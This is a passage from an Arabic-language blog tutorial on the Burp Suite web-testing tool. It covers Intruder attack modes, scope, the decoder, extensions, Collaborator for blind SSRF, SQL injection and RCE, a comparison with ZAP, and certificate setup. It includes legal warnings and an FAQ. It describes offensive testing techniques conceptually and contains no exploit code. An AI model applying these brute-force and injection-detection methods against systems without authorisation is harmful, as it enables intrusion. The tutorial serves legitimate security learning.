  • 💣 Cluster Bomb: ده "القنبلة العنقودية". بيجرب كل الاحتمالات الممكنة (كل كلمة من القايمة الأولى مع كل كلمات القايمة التانية). ده الأقوى والأشمل لاكتشاف الكومبينشنز الصحيحة.
⚠️ خد بالك: استخدام Intruder بسرعات عالية على سيرفرات مش بتاعتك ممكن يوقع الموقع (DoS Attack) ويعملك مشكلة قانونية. استخدم Rate Limiting دايمًا.

4️⃣ Target Scope (عزل الضوضاء والتركيز)

مشكلة المبتدئين الكبرى هي "الزحمة". هتلاقي ريكويستات جوجل وفيسبوك وإعلانات مالية الـ History ومش عارف تركز على هدفك. الحل هو Scope.

كليك يمين على الموقع الهدف واختر Add to Scope. كدا بتقول للأداة: "ركزي على الموقع ده بس، واي حاجة تانية تجاهليها". دي خطوة مهمة جداً عشان تحمي نفسك قانونياً ومتفحصش مواقع Out of Scope بالغلط وتدخل في سين وجيم.

5️⃣ The Decoder (المترجم الفوري للنصوص)

وأنت شغال هتقابل نصوص غريبة زي %20admin%20 أو نصوص بتنتهي بـ ==. دي بيانات معمولة لها Encoding. التاب ده هو "السكين السويسري" بتاعك.

بترمي فيه النص وهو يعمله Decode فوراً ويحوله لكلام مفهوم (أو العكس). بيدعم صيغ كتير زي URL Encoding, Base64, HTML Entities، وده بيساعدك تفهم الـ Payload رايح للسيرفر إزاي.

6️⃣ BApp Store (متجر القوى الخارقة)

Burp Suite عامل زي جوجل كروم، تقدر تنزله إضافات (Extensions) تخليه يعمل حاجات المطورين مكنوش عاملين حسابها وتزود قدراته جداً.

بتدخل على تاب Extensions ثم BApp Store وتنزل أدوات مجانية برمجها مجتمع الهاكرز. بعض الإضافات دي ممكن تكتشفلك ثغرات خطيرة زي Java Deserialization بشكل أوتوماتيك.

🕵️‍♂️ الجندي المجهول: Burp Collaborator

فيه نوع من الثغرات اسمه "Blind Vulnerabilities" (ثغرات عمياء). يعني إيه؟ يعني لما بتبعت كود خبيث للسيرفر، السيرفر بينفذه بس مش بيرد عليك ويقولك "أنا نفذته". هنا بيجي دور الـ Burp Collaborator (حصري في النسخة المدفوعة).

الفكرة: الأداة بتديك رابط خاص بيك (Subdomain)، وأنت بتحقن الرابط ده جوه الموقع. لو الموقع مصاب، السيرفر هيحاول يتصل بالرابط بتاعك (يعمل DNS Lookup أو HTTP Request). الـ Collaborator هيسجل الاتصال ده ويقولك "مبروك، السيرفر وقع في الفخ وتواصل معايا!".

أهميته: دي الطريقة الوحيدة تقريباً لاكتشاف أخطر الثغرات زي Blind SSRF و Blind SQL Injection و RCE اللي مش بتظهر أي Errors في الصفحة.

🥊 صراع العمالقة: Burp Suite vs. OWASP ZAP

ناس كتير بتسأل: "أدفع فلوس في Burp ولا أستخدم ZAP المجاني؟". المقارنة دي هتجيبلك من الآخر وتوضحلك مين يكسب في 2025:

وجه المقارنة Burp Suite OWASP ZAP
التكلفة 💰 غالي ($449/سنة) - استثمار للشركات 🆓 مجاني تماماً (Open Source) - للجميع
سهولة الاستخدام ✅ واجهة احترافية، منظمة، وسهلة التعلم ⚠️ واجهة قديمة شوية ومعقدة للمبتدئين
الـ Manual Testing 👑 الملك (الـ Repeater و Proxy لا يُعلى عليهم) جيد، بس أداة الـ Request Resender أضعف
الأتمتة (Automation) قوي جداً بس بفلوس (Burp Scanner) 👑 ممتاز ومجاني (ينفع للشركات والـ CI/CD)

📝 How to Setup: شغل الأداة صح ومتقلقش من HTTPS

عشان Burp يشتغل تمام مع المواقع المشفرة (HTTPS) والمتصفح ميطلعلكش رسالة "Your connection is not private"، لازم تسطب الشهادة (CA Certificate). اتبع الخطوات دي:

1

افتح متصفحك واضبط إعدادات الـ Proxy يدوياً على 127.0.0.1:8080 (أو استخدم FoxyProxy).

2

اكتب في شريط العنوان http://burp ودوس Enter، وحمل الشهادة بالضغط على CA Certificate.

3

روح لإعدادات المتصفح، ابحث عن Certificates، واعمل Import للملف اللي نزلته، ومتنساش تعلم على Trust this CA to identify websites.

🤖 هل الذكاء الاصطناعي هيقعدنا في البيت؟

مع طلعة أدوات الـ AI، السؤال اللي بيطرح نفسه: "هل لسه محتاجين نتعلم Burp Suite؟". الإجابة باختصار: لأ، الـ AI مش بديل ليك. الـ AI شاطر جداً في اكتشاف الأنماط المحفوظة، لكنه "غبي" في فهم الـ Business Logic.

مستحيل أداة أوتوماتيك تفهم إن لو بدلت كوبون الخصم بكوبون تاني هتاخد المنتج ببلاش، أو إنك لو غيرت العملة من دولار لجنيه السعر هينزل. ده محتاج "مكر بشري" وتجربة يدوية باستخدام Burp Suite. عشان كدا الـ Manual Pentesting هيفضل مطلوب وبسعر عالي جداً.

❓ أسئلة بتتكرر كتير (FAQ)

هل استخدام Burp Suite قانوني؟

الأداة قانونية 100%، لكن استخدامها ضد مواقع بدون إذن كتابي مسبق يعتبر جريمة إلكترونية يعاقب عليها القانون.

إيه أهم الإضافات (Extensions) اللي أحملها؟

نزل Turbo Intruder لسرعة الـ Bruteforce، و Authorize لاكتشاف ثغرات الـ IDOR، و Logger++ عشان فلترة الريكويستات.

الخلاصة

احتراف Burp Suite هو استثمار في مستقبلك المهني. الموضوع مش مجرد أداة بتحملها، دي مهارة بتطورها بالممارسة. نزل الأداة، وطبّق عملي في مختبرات PortSwigger المجانية. وافتكر دايمًا: الأداة قوية بقدر شطارة اللي ماسكها.

الأشعارات
اهلا بك اخى الكريم فى مدونة خنقتونا
ان كنت من المهتمين بكل جديد فى العالم التقنى يمكنك الاشترك فى قناة Free على اليوتيوب بالضغط على زر اليوتيوب فى الاسفل حتى تكون اول المستفيدين من شروحاتنا .
=================================
وان كان لديك اى اسئله او اقتراحات يمكنك التواصل معنا عبر مواقع التواصل الاجتماعى اسفل الرساله وسوف نقوم بالرد فى اسرع وقت .
شكرا على المتابعه .

حسناً